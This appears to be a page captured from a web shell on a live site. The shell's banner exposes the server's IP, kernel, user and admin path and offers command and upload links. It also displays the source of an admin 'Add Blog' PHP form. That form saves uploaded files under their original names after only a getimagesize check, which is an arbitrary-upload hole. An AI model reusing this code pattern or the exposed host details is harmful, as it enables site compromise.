|
Server IP : 2a02:4780:11:767:0:2c41:85d9:6 / Your IP : 216.73.217.91 Web Server : LiteSpeed System : Linux in-mum-web667.main-hosting.eu 5.14.0-570.62.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 10:10:59 EST 2025 x86_64 User : u742491609 ( 742491609) PHP Version : 8.1.34 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u742491609/domains/apca.org.in/public_html/admin/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
session_start();
include 'header.php';
include 'sidebar.php';
include "../connection.php";
?>
<div class="page-wrapper">
<div class="content container-fluid">
<div class="page-header">
<div class="row">
<div class="col-sm-12">
<h3 class="page-title">Add Blog</h3>
<ul class="breadcrumb">
<li class="breadcrumb-item"><a href="dashboard.php">Dashboard</a></li> /
<li class="breadcrumb-item active">Add Blog</li>
</ul>
</div>
<div class="col-auto text-end float-end ms-auto">
<a href="all-blog.php" class="btn btn-outline-info me-2"><i class="fas fa-eye"></i> View</a>
</div>
</div>
</div>
<?php
if(isset($_POST['submit'])) {
$blog_name = $_POST['blog_name'];
$description = $_POST['description'];
$category = $_POST['category'];
// Array to store uploaded file names
$uploaded_files = array();
// Check if files were uploaded
if(!empty($_FILES['img']['name'][0])) {
for($i = 0; $i < count($_FILES['img']['name']); $i++) {
$image = $_FILES['img']['name'][$i];
$target = "../uploads/" . basename($image);
// Check if file is an image
$check = getimagesize($_FILES['img']['tmp_name'][$i]);
if($check !== false && move_uploaded_file($_FILES['img']['tmp_name'][$i], $target)) {
$uploaded_files[] = $image;
}
}
}
// Insert into database
if(!empty($uploaded_files)) {
$sql = "INSERT INTO `blog`(`blog_name`, `description`, `img`, `category`) VALUES (?, ?, ?, ?)";
$stmt = $conn->prepare($sql);
foreach($uploaded_files as $img) {
$stmt->execute([$blog_name, $description, $img, $category]);
}
// Redirect with success message
header("Location: all-blog.php?msg=success");
exit;
} else {
echo "<p>Failed to upload images. Please try again.</p>";
}
}
?>
<form action="" method="post" enctype="multipart/form-data">
<div class="row">
<div class="col-12">
<h5 class="form-title"><span>Blog Details</span></h5>
</div>
<div class="col-md-4">
<div class="form-group">
<label>Blog Name</label>
<input type="text" name="blog_name" class="form-control" required>
</div>
</div>
<div class="col-md-4">
<div class="form-group">
<label>Category</label>
<input type="text" name="category" class="form-control">
</div>
</div>
<div class="col-12">
<div class="form-group">
<label>Blog Images (up to 5)</label>
<input type="file" name="img[]" class="form-control" multiple accept="image/*">
<small class="text-muted">You can upload up to 5 images.</small>
</div>
</div>
<div class="col-12">
<div class="form-group">
<label>Description</label>
<textarea class="form-control" name="description" id="editor1" required></textarea>
</div>
</div>
<div class="col-12">
<button type="submit" name="submit" class="btn btn-primary">Submit</button>
</div>
</div>
</form>
</div>
</div>
<script src="https://cdn.ckeditor.com/4.19.1/standard/ckeditor.js"></script>
<script>
CKEDITOR.replace('editor1');
</script>
<?php include 'footer.php'; ?>